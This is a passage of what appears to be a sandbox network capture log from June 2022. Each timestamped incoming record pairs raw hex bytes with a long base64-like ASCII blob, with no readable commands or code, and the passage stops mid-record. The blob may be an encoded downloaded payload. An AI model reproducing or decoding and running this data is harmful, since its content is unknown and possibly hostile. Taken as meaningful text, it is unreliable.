2022-06-16 18:31:44 UTC	761	IN	Data Raw: 44 65 6f 54 4e 69 32 76 4a 47 7a 4a 71 4f 78 31 69 39 79 32 72 4c 0d 0a 78 37 76 75 4b 57 61 56 35 74 43 65 52 56 56 44 2f 77 46 63 79 69 56 4b 46 2f 34 59 55 69 65 2f 50 36 32 50 6a 37 4b 5a 6a 71 57 55 4e 6b 5a 43 76 33 31 4d 37 6a 46 75 4f 37 39 70 63 42 66 65 0d 0a 44 6f 69 73 4c 63 65 52 75 61 2f 44 53 46 70 31 76 7a 64 5a 35 49 49 37 6c 33 35 63 47 6a 36 30 54 53 55 38 59 4f 34 30 6e 6f 4b 34 4e 48 68 46 76 4e 70 30 52 46 54 4b 34 4b 36 39 69 72 66 54 0d 0a 2b 42 43 4e 72 70 6a 6c 5a 70 6e 36 54 74 4f 7a 78 72 37 4c 78 38 2f 6f 2b 5a 36 56 79 37 44 31 59 61 71 38 69 79 35 66 4b 64 6d 6c 51 57 58 44 7a 31 48 4c 6a 61 37 73 62 4c 6a 6f 56 62 4f 6c 0d 0a 79 63 30 53 4d 4d 65 57 6a 69 50 70 37 39 44 43 68 37 72 63 78 6c 53 37 71 37 37 6d 43 37 72 2b 57 Data Ascii: DeoTNi2vJGzJqOx1i9y2rLx7vuKWaV5tCeRVVD/wFcyiVKF/4YUie/P62Pj7KZjqWUNkZCv31M7jFuO79pcBfeDoisLceRua/DSFp1vzdZ5II7l35cGj60TSU8YO40noK4NHhFvNp0RFTK4K69irfT+BCNrpjlZpn6TtOzxr7Lx8/o+Z6Vy7D1Yaq8iy5fKdmlQWXDz1HLja7sbLjoVbOlyc0SMMeWjiPp79DCh7rcxlS7q77mC7r+W
2022-06-16 18:31:44 UTC	777	IN	Data Raw: 42 77 2b 52 53 4c 0d 0a 35 54 76 75 4a 4b 42 5a 5a 30 4c 4c 59 64 7a 50 49 4a 33 70 49 6a 69 77 4e 5a 6e 65 46 70 44 48 4c 6e 6c 74 4d 6b 2b 79 44 62 70 31 4e 48 4a 52 6a 47 6e 30 49 4a 46 49 57 6a 5a 47 4b 44 53 7a 0d 0a 41 62 6e 36 71 6d 34 2f 66 4a 67 56 33 67 36 51 72 4e 75 44 6b 37 6d 42 4d 4c 53 6c 69 73 75 4e 33 43 71 36 32 2f 56 64 73 61 57 39 41 36 36 2f 64 62 41 42 38 47 39 71 4e 44 6c 34 7a 72 41 65 0d 0a 74 34 69 59 6a 61 47 4b 69 72 6d 45 6c 72 6e 34 76 70 32 72 6f 6d 62 75 6e 63 2b 32 50 73 55 2f 49 44 67 34 63 68 46 5a 58 7a 51 35 45 4f 32 44 52 47 51 73 32 4b 46 71 56 71 37 2f 76 31 74 31 0d 0a 74 37 5a 64 35 42 4d 72 5a 51 35 62 4d 67 70 7a 51 6a 52 51 37 4c 4e 2b 63 67 4b 51 32 58 39 56 76 53 36 44 52 56 54 43 71 55 72 4e 49 45 54 54 49 Data Ascii: Bw+RSL5TvuJKBZZ0LLYdzPIJ3pIjiwNZneFpDHLnltMk+yDbp1NHJRjGn0IJFIWjZGKDSzAbn6qm4/fJgV3g6QrNuDk7mBMLSlisuN3Cq62/VdsaW9A66/dbAB8G9qNDl4zrAet4iYjaGKirmElrn4vp2rombunc+2PsU/IDg4chFZXzQ5EO2DRGQs2KFqVq7/v1t1t7Zd5BMrZQ5bMgpzQjRQ7LN+cgKQ2X9VvS6DRVTCqUrNIETTI
2022-06-16 18:31:44 UTC	793	IN	Data Raw: 4c 58 33 76 49 70 45 41 34 44 57 7a 70 63 6e 2f 30 54 55 34 52 5a 4b 59 36 2b 39 77 78 6f 65 36 76 76 54 31 2b 5a 43 2f 6b 72 6c 31 46 77 7a 50 41 48 2f 35 42 4f 76 6c 0d 0a 64 75 31 79 44 6b 61 2f 77 2f 37 4b 78 37 76 75 4e 4f 37 68 59 62 46 37 46 48 48 4b 34 59 53 71 76 70 4c 4e 41 35 33 44 31 37 58 4b 6a 61 35 6f 32 53 63 6b 2b 67 6e 53 76 63 76 2b 79 73 65 37 0d 0a 5a 6e 33 7a 34 37 47 42 68 72 71 71 79 4f 48 38 71 72 36 53 7a 39 4e 39 74 36 57 4b 33 7a 65 34 61 5a 48 4d 6d 76 72 4a 47 73 6d 35 76 62 32 39 38 4a 75 47 6e 65 47 35 6a 59 61 36 71 73 68 6c 0d 0a 7a 63 48 78 6b 37 6d 35 2f 73 33 71 69 38 75 4e 32 4f 49 75 7a 4a 71 4f 69 68 2f 50 52 30 32 43 64 62 33 67 73 47 33 76 63 4d 65 48 75 70 4c 47 66 4c 75 72 76 6d 31 47 52 6e 58 44 7a 39 6e 4b 0d Data Ascii: LX3vIpEA4DWzpcn/0TU4RZKY6+9wxoe6vvT1+ZC/krl1FwzPAH/5BOvldu1yDka/w/7Kx7vuNO7hYbF7FHHK4YSqvpLNA53D17XKja5o2Sck+gnSvcv+yse7Zn3z47GBhrqqyOH8qr6Sz9N9t6WK3ze4aZHMmvrJGsm5vb298JuGneG5jYa6qshlzcHxk7m5/s3qi8uN2OIuzJqOih/PR02Cdb3gsG3vcMeHupLGfLurvm1GRnXDz9nK
2022-06-16 18:31:44 UTC	809	IN	Data Raw: 41 4f 72 6a 78 35 2b 4f 73 37 4a 6b 4e 4c 6e 4c 74 64 47 52 67 35 32 56 76 61 78 38 76 71 71 38 73 73 46 63 75 70 4b 35 0d 0a 52 37 4d 4e 70 6e 69 33 6e 6b 6e 73 71 72 72 41 38 62 43 6c 79 63 38 48 73 4c 55 4a 4b 66 44 76 52 73 76 47 68 38 37 41 62 34 75 37 71 38 6a 34 4f 72 71 4b 74 39 63 77 36 69 4a 65 30 53 50 75 0d 0a 4e 50 6f 42 33 74 34 68 4f 63 2f 48 67 69 43 46 62 4b 32 78 51 59 53 36 71 6a 4f 6d 51 30 54 4d 4f 41 6f 55 2f 67 58 65 6e 62 6c 77 72 35 69 6f 64 70 6c 38 69 68 2f 4b 53 63 48 59 49 4d 2b 68 0d 0a 38 4d 63 65 79 4d 61 48 7a 4e 42 72 69 37 75 72 79 6d 43 75 56 58 78 59 43 2f 68 35 54 72 6b 53 36 4d 69 61 2b 4d 6c 2b 79 62 6d 39 76 36 31 73 6d 6f 61 64 4f 4c 2b 30 58 4c 71 71 76 4a 79 4a 0d 0a 58 62 32 53 7a 51 4f 46 79 35 4a 78 76 54 65 Data Ascii: AOrjx5+Os7JkNLnLtdGRg52Vvax8vqq8ssFcupK5R7MNpni3nknsqrrA8bClyc8HsLUJKfDvRsvGh87Ab4u7q8j4OrqKt9cw6iJe0SPuNPoB3t4hOc/HgiCFbK2xQYS6qjOmQ0TMOAoU/gXenblwr5iodpl8ih/KScHYIM+h8MceyMaHzNBri7urymCuVXxYC/h5TrkS6Mia+Ml+ybm9v61smoadOL+0XLqqvJyJXb2SzQOFy5JxvTe
2022-06-16 18:31:44 UTC	825	IN	Data Raw: 6f 76 38 77 2b 71 41 77 79 53 37 59 72 6a 39 55 41 64 68 69 61 6a 51 35 0d 0a 4b 43 48 63 5a 6e 52 45 56 45 48 73 71 6e 5a 34 53 46 71 79 63 59 4a 52 5a 32 34 7a 6f 6a 53 77 57 44 5a 47 51 76 4e 39 6c 47 56 35 59 6d 70 65 4f 50 58 49 4a 62 36 4c 75 37 77 52 47 37 71 35 0d 0a 73 77 32 6d 64 72 38 33 48 65 34 72 73 2b 34 38 7a 41 75 37 79 38 4c 4a 78 37 75 4e 72 73 47 57 79 77 71 71 7a 51 43 73 2b 51 6d 37 71 53 65 2b 75 6f 72 42 48 37 6d 2f 50 35 32 50 59 58 69 62 0d 0a 6a 73 63 66 2b 73 2f 48 51 4d 65 37 6d 6b 71 72 34 6e 6e 58 39 51 69 37 71 2f 32 31 71 4c 37 6b 41 34 37 2b 42 5a 4b 64 6d 6a 2b 76 6d 4f 56 6d 72 66 6a 5a 49 73 6d 35 76 51 66 34 7a 43 43 55 0d 0a 37 79 66 5a 30 63 42 59 71 4c 7a 39 41 5a 44 4b 49 49 4b 75 75 41 53 6b 69 72 38 2f 6c 65 37 Data Ascii: ov8w+qAwyS7Yrj9UAdhiajQ5KCHcZnREVEHsqnZ4SFqycYJRZ24zojSwWDZGQvN9lGV5YmpeOPXIJb6Lu7wRG7q5sw2mdr83He4rs+48zAu7y8LJx7uNrsGWywqqzQCs+Qm7qSe+uorBH7m/P52PYXibjscf+s/HQMe7mkqr4nnX9Qi7q/21qL7kA47+BZKdmj+vmOVmrfjZIsm5vQf4zCCU7yfZ0cBYqLz9AZDKIIKuuASkir8/le7
2022-06-16 18:31:44 UTC	841	IN	Data Raw: 37 50 51 4d 70 38 6d 35 0d 0a 79 62 6c 34 75 5a 71 47 36 2b 63 73 78 6f 65 36 33 74 5a 73 75 36 75 2b 35 67 52 65 2f 41 33 36 2f 6e 6e 53 32 4f 6f 6d 7a 4a 71 4f 78 77 2b 57 7a 51 65 55 4f 77 5a 5a 38 4f 64 57 79 63 61 48 0d 0a 2f 46 31 44 64 45 51 2f 6b 47 33 4e 77 30 6d 31 70 59 71 2f 50 6b 45 66 35 57 64 31 44 63 58 58 67 72 71 39 79 37 48 52 33 59 57 64 6c 62 39 38 32 45 62 51 39 34 69 37 71 38 6a 6f 43 72 6d 4b 0d 0a 74 39 48 34 6a 49 36 75 6d 4f 65 2b 4e 59 36 7a 70 62 33 54 44 73 76 48 75 31 37 73 4b 70 58 4c 78 67 78 4a 6b 73 61 34 75 71 75 2b 62 45 5a 47 64 61 4e 51 73 72 47 2b 72 35 69 52 4d 32 56 78 0d 0a 54 4e 43 7a 69 72 7a 4c 78 38 77 67 70 6d 33 63 65 65 62 39 6a 46 72 48 59 6b 56 55 51 65 62 54 43 6f 71 33 70 66 35 32 61 74 67 69 72 72 67 Data Ascii: 7PQMp8m5ybl4uZqG6+csxoe63tZsu6u+5gRe/A36/nnS2OomzJqOxw+WzQeUOwZZ8OdWycaH/F1DdEQ/kG3Nw0m1pYq/PkEf5Wd1DcXXgrq9y7HR3YWdlb982EbQ94i7q8joCrmKt9H4jI6umOe+NY6zpb3TDsvHu17sKpXLxgxJksa4uqu+bEZGdaNQsrG+r5iRM2VxTNCzirzLx8wgpm3ceeb9jFrHYkVUQebTCoq3pf52atgirrg
2022-06-16 18:31:44 UTC	857	IN	Data Raw: 6c 4a 78 78 38 2b 7a 77 66 41 2f 77 47 5a 65 57 4a 71 4e 50 34 39 74 56 56 44 64 45 54 58 50 47 46 45 4f 32 58 44 46 32 58 7a 63 31 46 6e 62 6a 4e 57 73 61 56 61 4e 45 5a 43 0d 0a 76 32 32 77 5a 69 78 75 5a 59 4a 37 68 38 61 74 66 67 46 4e 33 77 79 64 78 59 64 30 77 52 65 46 76 79 65 6c 5a 44 73 2f 61 73 63 4f 70 4c 57 2b 66 30 45 78 7a 79 69 4a 34 61 73 31 73 44 57 31 0d 0a 50 67 5a 34 52 38 33 43 6a 30 56 46 74 34 6d 69 64 78 38 33 6f 65 77 37 49 2b 78 7a 78 78 38 6d 7a 55 70 6c 30 46 54 63 68 4a 33 6a 63 64 58 37 4f 4c 6c 44 41 55 4e 6e 67 59 54 6d 52 33 56 49 0d 0a 6e 54 44 4d 63 6c 46 6e 62 74 68 73 2b 68 6d 69 74 59 52 47 76 57 32 38 37 6a 78 75 36 64 77 39 55 77 43 6c 65 6a 47 38 57 38 37 42 52 6b 5a 31 77 78 65 42 4e 7a 2b 70 61 4e 67 69 61 73 66 Data Ascii: lJxx8+zwfA/wGZeWJqNP49tVVDdETXPGFEO2XDF2Xzc1FnbjNWsaVaNEZCv22wZixuZYJ7h8atfgFN3wydxYd0wReFvyelZDs/ascOpLW+f0ExzyiJ4as1sDW1PgZ4R83Cj0VFt4midx83oew7I+xzxx8mzUpl0FTchJ3jcdX7OLlDAUNngYTmR3VInTDMclFnbths+hmitYRGvW287jxu6dw9UwClejG8W87BRkZ1wxeBNz+paNgiasf
2022-06-16 18:31:44 UTC	873	IN	Data Raw: 6d 43 79 72 6d 39 4e 44 68 45 5a 66 4c 33 78 73 7a 47 68 38 35 58 45 2f 2f 4a 2f 4c 6d 53 75 63 31 6b 47 71 58 67 37 49 36 75 0d 0a 6d 4f 4f 32 61 59 4f 7a 70 62 2f 44 35 73 7a 48 75 2b 6a 30 62 6f 44 4c 78 76 48 49 39 62 75 4c 75 39 6e 55 79 62 36 35 69 73 48 50 47 63 79 4e 72 75 72 72 6b 35 32 4f 73 39 4f 7a 4c 72 72 4c 0d 0a 78 79 44 75 64 46 4a 71 4e 44 6e 78 79 4d 6d 37 69 37 76 66 31 50 47 2b 75 59 72 44 47 48 6d 39 39 38 6d 66 6b 63 7a 75 2f 4e 53 69 79 62 6e 4a 5a 54 54 4e 38 4f 32 61 6c 63 75 79 2f 64 47 74 0d 0a 76 49 76 4e 30 64 32 51 75 62 6e 2b 78 63 61 49 79 34 33 61 4e 6e 61 36 38 47 6d 7a 70 63 6e 4e 78 79 7a 48 75 35 72 77 35 31 37 4b 78 6f 66 4f 32 46 75 4c 75 36 76 4b 2b 46 36 35 69 72 64 5a 0d 0a 4a 41 6a 37 78 50 65 57 7a 4a 72 4a 52 Data Ascii: mCyrm9NDhEZfL3xszGh85XE//J/LmSuc1kGqXg7I6umOO2aYOzpb/D5szHu+j0boDLxvHI9buLu9nUyb65isHPGcyNrurrk52Os9OzLrrLxyDudFJqNDnxyMm7i7vf1PG+uYrDGHm998mfkczu/NSiybnJZTTN8O2alcuy/dGtvIvN0d2Qubn+xcaIy43aNna68GmzpcnNxyzHu5rw517KxofO2FuLu6vK+F65irdZJAj7xPeWzJrJR
2022-06-16 18:31:44 UTC	889	IN	Data Raw: 52 4f 79 63 53 7a 69 75 61 42 61 68 6a 57 78 2f 6b 46 63 55 70 6b 7a 55 44 4d 0d 0a 64 57 4a 50 5a 63 55 58 69 64 77 37 70 70 69 52 62 44 75 34 6a 77 2b 39 71 68 47 2f 34 52 50 75 41 6b 37 76 79 30 31 6e 45 36 6f 30 63 4d 38 6a 53 65 61 49 46 59 6f 39 55 6f 6f 68 51 6f 42 67 0d 0a 66 73 79 7a 2b 6e 50 5a 38 6b 72 48 79 30 32 6e 4f 79 59 35 4e 2f 59 39 65 42 44 65 72 79 4c 50 49 55 6e 6d 41 45 37 77 69 43 35 6c 79 76 6f 52 51 32 63 6a 37 2f 45 4d 66 6a 39 57 78 76 52 48 0d 0a 57 2b 36 33 69 6e 45 30 4f 58 6a 4f 49 33 50 78 73 69 42 51 35 6f 69 75 54 36 36 68 69 6c 35 36 42 34 38 31 31 5a 71 4f 46 51 4e 6f 47 34 46 68 73 36 67 50 68 67 6f 5a 72 7a 35 6f 49 66 52 44 0d 0a 64 45 52 55 45 54 73 52 35 30 31 49 55 32 55 48 74 77 48 71 4b 38 63 42 30 6b 78 61 4e Data Ascii: ROycSziuaBahjWx/kFcUpkzUDMdWJPZcUXidw7ppiRbDu4jw+9qhG/4RPuAk7vy01nE6o0cM8jSeaIFYo9UoohQoBgfsyz+nPZ8krHy02nOyY5N/Y9eBDeryLPIUnmAE7wiC5lyvoRQ2cj7/EMfj9WxvRHW+63inE0OXjOI3PxsiBQ5oiuT66hil56B4811ZqOFQNoG4Fhs6gPhgoZrz5oIfRDdERUETsR501IU2UHtwHqK8cB0kxaN
2022-06-16 18:31:44 UTC	905	IN	Data Raw: 46 52 78 45 53 4d 36 47 4a 71 0d 0a 4e 4d 59 4e 71 62 30 73 64 55 52 55 47 4b 37 4e 49 35 32 67 66 6f 44 4c 6a 64 49 48 54 6a 50 75 44 46 6a 52 63 55 37 4c 63 65 41 54 6d 67 78 36 34 57 6b 31 4b 36 32 2b 52 48 52 45 31 34 56 68 0d 0a 7a 77 4f 56 77 77 31 6c 42 37 76 59 4b 72 6f 4b 4b 6e 30 36 59 46 32 66 56 72 31 6c 6d 46 34 39 63 57 36 2f 5a 48 51 37 64 38 67 4a 6d 47 38 46 65 6b 37 4e 43 46 77 6c 59 31 2b 7a 52 65 77 71 0d 0a 49 32 45 78 78 52 2f 57 7a 51 2f 73 73 30 43 6b 38 43 65 4b 33 7a 41 35 7a 42 69 58 54 77 74 59 4d 36 73 57 45 52 39 49 43 5a 31 69 63 31 46 6e 37 66 64 31 51 70 66 54 61 36 4a 6a 61 63 54 50 0d 0a 47 48 47 6c 4c 38 6a 48 68 37 71 71 68 44 48 34 56 45 46 74 52 71 35 74 53 46 70 31 76 37 48 61 4b 70 35 58 37 48 78 4d 57 6a 5a 47 47 Data Ascii: FRxESM6GJqNMYNqb0sdURUGK7NI52gfoDLjdIHTjPuDFjRcU7LceATmgx64Wk1K62+RHRE14VhzwOVww1lB7vYKroKKn06YF2fVr1lmF49cW6/ZHQ7d8gJmG8Fek7NCFwlY1+zRewqI2ExxR/WzQ/ss0Ck8CeK3zA5zBiXTwtYM6sWER9ICZ1ic1Fn7fd1QpfTa6JjacTPGHGlL8jHh7qqhDH4VEFtRq5tSFp1v7HaKp5X7HxMWjZGG
2022-06-16 18:31:44 UTC	921	IN	Data Raw: 79 4d 65 37 44 62 56 6a 61 6a 52 70 6b 50 4e 46 51 33 54 50 79 52 32 52 75 62 6e 32 6a 45 72 2b 73 5a 61 6e 6d 4a 47 34 36 4d 6d 36 70 63 6e 46 65 7a 52 46 52 6b 35 34 43 47 41 48 0d 0a 36 2f 76 67 6b 62 75 4c 75 31 51 66 6d 72 42 31 76 41 6e 54 34 50 53 45 72 70 6a 6e 76 71 57 4a 73 36 57 2f 79 36 62 43 78 37 76 73 39 4e 36 53 79 38 62 78 77 49 32 31 69 37 76 52 67 57 4c 43 0d 0a 32 33 5a 49 57 76 62 4d 56 43 64 73 42 42 55 2b 2b 4e 47 4b 77 4c 6d 39 33 7a 44 50 76 66 44 6e 75 73 4c 47 68 30 72 6a 54 2b 6e 4b 51 6b 6c 39 53 66 42 42 31 64 56 6a 50 47 4c 61 6e 71 2f 55 0d 0a 5a 79 59 6d 57 72 74 43 63 37 32 39 71 4a 4f 47 6e 65 65 78 79 59 36 36 71 68 4f 63 73 35 57 2b 6b 73 32 41 74 4b 68 59 4a 54 76 46 56 66 72 69 4a 57 31 68 77 56 36 7a 7a 6b 38 38 4b Data Ascii: yMe7DbVjajRpkPNFQ3TPyR2Rubn2jEr+sZanmJG46Mm6pcnFezRFRk54CGAH6/vgkbuLu1QfmrB1vAnT4PSErpjnvqWJs6W/y6bCx7vs9N6Sy8bxwI21i7vRgWLC23ZIWvbMVCdsBBU++NGKwLm93zDPvfDnusLGh0rjT+nKQkl9SfBB1dVjPGLanq/UZyYmWrtCc729qJOGneexyY66qhOcs5W+ks2AtKhYJTvFVfriJW1hwV6zzk88K
2022-06-16 18:31:44 UTC	937	IN	Data Raw: 72 79 44 36 4c 45 4c 4c 73 43 5a 68 33 52 31 45 7a 51 70 68 35 42 68 71 2f 52 5a 6d 6e 67 7a 35 6e 34 2b 78 4d 6d 56 78 70 33 32 39 0d 0a 69 4b 72 52 4e 6b 52 6c 6b 6e 7a 6a 61 68 47 54 5a 4e 36 4e 6e 42 39 58 51 57 32 74 56 76 36 47 73 72 49 77 63 6c 47 4d 61 62 69 72 6d 61 78 54 4e 6b 62 47 39 44 66 41 44 49 61 64 6c 62 39 2f 0d 0a 61 45 72 69 51 78 4c 4e 45 6e 4d 4c 77 34 5a 36 7a 54 32 4b 79 34 33 53 49 58 34 78 6d 76 63 63 58 6a 5a 47 77 59 70 6f 51 47 56 35 59 47 57 78 66 49 65 36 71 73 67 79 58 4c 31 37 6b 72 6d 35 0d 0a 2b 41 46 61 2f 52 5a 30 51 66 5a 4d 4e 58 58 58 62 6c 77 6d 36 57 41 79 4b 50 78 48 66 33 4c 58 46 6a 39 6f 67 33 64 46 5a 49 74 32 52 33 33 4e 75 53 59 65 30 59 53 35 2f 42 6c 6a 62 6a 4f 4e 0d 0a 67 36 79 6c 79 63 4b 43 51 43 4e Data Ascii: ryD6LELLsCZh3R1EzQph5Bhq/RZmngz5n4+xMmVxp329iKrRNkRlknzjahGTZN6NnB9XQW2tVv6GsrIwclGMabirmaxTNkbG9DfADIadlb9/aEriQxLNEnMLw4Z6zT2Ky43SIX4xmvccXjZGwYpoQGV5YGWxfIe6qsgyXL17krm5+AFa/RZ0QfZMNXXXblwm6WAyKPxHf3LXFj9og3dFZIt2R33NuSYe0YS5/BljbjONg6ylycKCQCN
2022-06-16 18:31:44 UTC	953	IN	Data Raw: 2f 4c 41 65 45 62 79 4f 4d 56 44 4c 63 67 4c 65 52 6d 4c 34 68 69 57 67 31 67 67 30 0d 0a 63 67 6a 69 72 6b 64 70 4e 72 4e 5a 73 37 41 32 4d 62 4a 44 37 58 38 6b 6c 54 64 2b 6b 54 4f 71 76 49 76 42 6f 6a 56 70 67 45 42 31 44 71 56 32 33 55 61 75 6d 4a 47 34 4b 48 30 54 42 47 33 44 0d 0a 69 30 41 37 78 30 52 35 36 53 38 67 78 6e 69 4d 6c 73 69 4c 45 64 2b 74 4f 38 30 7a 66 63 6d 6b 69 73 75 4e 62 68 52 58 73 4b 32 4f 78 78 63 36 64 5a 44 44 54 56 52 65 73 52 46 41 4f 35 59 31 0d 0a 56 5a 53 6c 64 73 2b 53 74 72 31 39 68 77 4e 54 31 33 45 36 47 46 41 33 68 6f 39 4e 63 55 77 77 4e 73 32 79 33 43 68 74 5a 58 6e 68 72 6a 69 79 76 71 35 58 63 4c 51 61 43 59 4c 6d 75 52 50 2b 0d 0a 70 41 65 63 79 49 36 75 6d 4f 30 4f 6a 56 64 46 53 6a 59 79 51 51 66 34 68 7a 4d Data Ascii: /LAeEbyOMVDLcgLeRmL4hiWg1gg0cgjirkdpNrNZs7A2MbJD7X8klTd+kTOqvIvBojVpgEB1DqV23UaumJG4KH0TBG3Di0A7x0R56S8gxniMlsiLEd+tO80zfcmkisuNbhRXsK2Oxxc6dZDDTVResRFAO5Y1VZSlds+Str19hwNT13E6GFA3ho9NcUwwNs2y3ChtZXnhrjiyvq5XcLQaCYLmuRP+pAecyI6umO0OjVdFSjYyQQf4hzM
2022-06-16 18:31:44 UTC	969	IN	Data Raw: 67 69 59 35 65 45 55 4c 48 72 5a 4d 0d 0a 56 48 4b 74 46 68 59 6c 47 41 71 64 4b 79 4b 75 6d 4b 4b 34 6d 69 54 48 74 6d 43 35 4e 7a 69 7a 74 5a 6f 4d 61 70 56 43 50 59 64 7a 76 55 33 2b 52 46 54 43 71 56 62 44 74 54 31 54 73 33 4a 2b 0d 0a 55 44 6b 7a 38 57 31 78 66 35 70 6d 46 68 4a 6b 61 4b 79 50 4e 70 32 56 2b 4c 4b 48 45 4e 36 76 39 7a 6c 63 51 54 34 52 4d 6a 55 69 44 34 70 42 65 72 6d 30 67 4d 79 61 2b 70 51 44 62 38 57 35 0d 0a 59 55 74 70 36 48 55 2f 61 44 51 35 65 42 53 39 66 57 64 45 56 4d 71 56 48 38 4f 4b 50 45 50 34 66 33 4d 41 6d 42 73 37 4e 43 61 6b 39 62 39 47 51 72 66 38 56 4f 43 35 46 32 43 2f 2f 70 4e 48 0d 0a 5a 6f 4d 72 48 77 6d 43 58 6f 59 57 4a 52 67 4b 4a 64 7a 34 48 70 69 52 2f 31 61 78 39 54 34 65 54 31 4a 30 76 30 57 6d 38 70 30 Data Ascii: giY5eEULHrZMVHKtFhYlGAqdKyKumKK4miTHtmC5NziztZoMapVCPYdzvU3+RFTCqVbDtT1Ts3J+UDkz8W1xf5pmFhJkaKyPNp2V+LKHEN6v9zlcQT4RMjUiD4pBerm0gMya+pQDb8W5YUtp6HU/aDQ5eBS9fWdEVMqVH8OKPEP4f3MAmBs7NCak9b9GQrf8VOC5F2C//pNHZoMrHwmCXoYWJRgKJdz4HpiR/1ax9T4eT1J0v0Wm8p0
2022-06-16 18:31:44 UTC	985	IN	Data Raw: 72 4c 54 47 69 36 49 45 2f 78 73 69 42 4f 6b 6a 4e 4f 2f 6f 61 6c 59 41 53 6a 56 6e 65 52 35 59 35 67 4a 6c 72 4a 4d 30 72 63 58 30 56 6c 65 54 4b 56 49 66 32 6f 51 6b 55 64 4b 59 5a 45 0d 0a 51 65 61 35 45 2f 36 6b 44 4a 32 77 69 61 36 59 35 63 50 67 68 7a 68 49 79 54 4e 4f 76 2f 61 37 45 48 47 64 66 77 54 6f 66 31 57 71 6c 5a 39 51 50 6b 47 53 4d 30 71 4b 50 56 4b 4b 49 62 36 42 0d 0a 59 48 35 6a 6a 66 6c 4d 57 6a 59 59 48 2f 59 77 52 4f 36 47 4e 2b 48 59 62 78 41 78 62 6b 74 6b 4c 44 68 36 5a 56 59 75 68 55 4e 53 5a 56 35 67 75 64 4f 53 7a 4a 72 36 76 4e 6e 79 56 73 66 43 0d 0a 54 46 47 61 44 48 4c 68 2b 73 59 4e 53 61 6f 32 66 4c 74 42 63 62 78 42 56 6f 71 65 73 58 6e 4c 42 31 32 59 47 7a 75 61 5a 4d 79 4b 4d 56 59 63 61 66 70 49 5a 66 4b 64 50 37 2f Data Ascii: rLTGi6IE/xsiBOkjNO/oalYASjVneR5Y5gJlrJM0rcX0VleTKVIf2oQkUdKYZEQea5E/6kDJ2wia6Y5cPghzhIyTNOv/a7EHGdfwTof1WqlZ9QPkGSM0qKPVKKIb6BYH5jjflMWjYYH/YwRO6GN+HYbxAxbktkLDh6ZVYuhUNSZV5gudOSzJr6vNnyVsfCTFGaDHLh+sYNSao2fLtBcbxBVoqesXnLB12YGzuaZMyKMVYcafpIZfKdP7/
2022-06-16 18:31:44 UTC	1001	IN	Data Raw: 48 39 68 56 72 48 6b 30 52 55 51 65 59 37 76 6b 61 49 43 69 56 6b 49 67 45 77 50 63 77 51 59 62 4d 76 4f 71 37 41 35 73 65 37 37 6f 6e 6e 0d 0a 6e 44 75 39 76 6b 56 56 51 38 35 45 55 45 46 74 77 78 4e 6c 50 47 4c 2b 63 56 4c 55 70 32 47 33 31 6e 46 4d 57 67 32 32 54 62 75 52 52 47 56 35 55 61 4e 6c 61 43 6b 56 71 6a 5a 6f 45 77 65 2b 0d 0a 47 46 61 35 41 45 53 79 4d 4f 61 4e 72 75 79 65 74 70 4e 2b 79 64 45 32 52 6b 4c 64 76 45 52 6c 65 65 39 75 41 72 51 77 54 57 36 43 62 34 52 33 67 42 6c 70 66 62 63 2f 53 5a 30 30 2f 56 46 6e 0d 0a 35 63 2f 67 6a 6a 67 36 38 55 47 4f 2b 44 68 45 6a 6d 6f 79 67 6a 36 50 68 37 72 65 75 79 33 42 71 7a 55 6d 67 55 47 6f 6c 56 70 31 74 37 56 5a 6a 47 77 41 6d 76 53 7a 4c 67 77 73 51 6c 34 34 0d 0a 4c 6d 55 76 4e 5a 56 42 77 Data Ascii: H9hVrHk0RUQeY7vkaICiVkIgEwPcwQYbMvOq7A5se77onnnDu9vkVVQ85EUEFtwxNlPGL+cVLUp2G31nFMWg22TbuRRGV5UaNlaCkVqjZoEwe+GFa5AESyMOaNruyetpN+ydE2RkLdvERlee9uArQwTW6Cb4R3gBlpfbc/SZ00/VFn5c/gjjg68UGO+DhEjmoygj6Ph7reuy3BqzUmgUGolVp1t7VZjGwAmvSzLgwsQl44LmUvNZVBw
2022-06-16 18:31:44 UTC	1017	IN	Data Raw: 61 73 51 48 76 51 6c 4d 77 33 52 4d 38 7a 57 44 7a 2b 4e 6e 47 47 41 56 56 32 6d 51 53 35 0d 0a 63 65 56 31 67 75 58 43 78 35 39 36 62 66 37 30 73 44 35 52 31 72 70 33 4d 46 36 2b 57 36 37 53 64 55 68 61 4c 4c 2b 4b 59 72 7a 6e 54 57 6b 69 48 7a 41 31 4c 67 45 34 50 31 53 4e 52 38 4f 56 0d 0a 79 37 49 32 54 61 4f 43 63 30 76 42 67 32 4c 38 70 33 78 48 79 4c 55 57 6f 6c 37 64 6a 7a 74 71 34 34 7a 65 35 6a 4e 42 76 57 5a 4d 4f 69 63 35 6f 2f 65 79 68 78 44 65 72 79 63 53 33 7a 52 6c 0d 0a 64 5a 30 69 49 6c 67 76 76 33 7a 63 48 6d 78 56 37 6e 42 50 6b 46 42 39 67 55 48 4f 62 36 70 4b 6f 72 76 4e 75 6f 46 47 57 74 65 30 7a 52 4a 52 47 55 79 35 51 36 42 34 64 54 52 79 43 4f 79 2b 0d 0a 59 44 59 62 54 7a 49 56 53 55 55 6b 73 52 4a 70 6b 61 7a 4b 79 38 61 4f 41 Data Ascii: asQHvQlMw3RM8zWDz+NnGGAVV2mQS5ceV1guXCx596bf70sD5R1rp3MF6+W67SdUhaLL+KYrznTWkiHzA1LgE4P1SNR8OVy7I2TaOCc0vBg2L8p3xHyLUWol7djztq44ze5jNBvWZMOic5o/eyhxDerycS3zRldZ0iIlgvv3zcHmxV7nBPkFB9gUHOb6pKorvNuoFGWte0zRJRGUy5Q6B4dTRyCOy+YDYbTzIVSUUksRJpkazKy8aOA
2022-06-16 18:31:44 UTC	1033	IN	Data Raw: 74 35 37 46 55 31 65 2b 63 2b 58 55 46 4b 0d 0a 69 67 44 43 75 66 46 4b 4d 32 55 6f 7a 36 4c 4a 4d 6b 48 4c 66 61 44 45 41 55 70 6a 4a 4c 4a 38 39 64 61 44 56 42 53 72 56 44 32 57 51 57 58 70 49 6c 30 39 59 71 35 54 33 74 76 56 4d 62 4f 6c 0d 0a 62 2b 63 36 48 44 46 55 35 6c 33 53 61 6e 4c 53 35 49 49 51 76 34 71 37 71 37 36 46 56 55 5a 31 53 4e 45 77 30 50 6b 63 6c 77 71 36 61 48 46 4d 57 6a 59 66 48 57 70 6a 6a 61 59 54 61 6f 49 71 0d 0a 48 34 65 36 44 49 44 2f 75 77 48 4b 67 52 44 4e 41 45 41 4e 2b 45 70 2b 32 6d 44 2b 38 6f 31 38 35 46 74 43 59 38 6b 7a 71 49 57 4e 66 38 70 72 51 43 4b 48 4d 31 47 72 4a 67 53 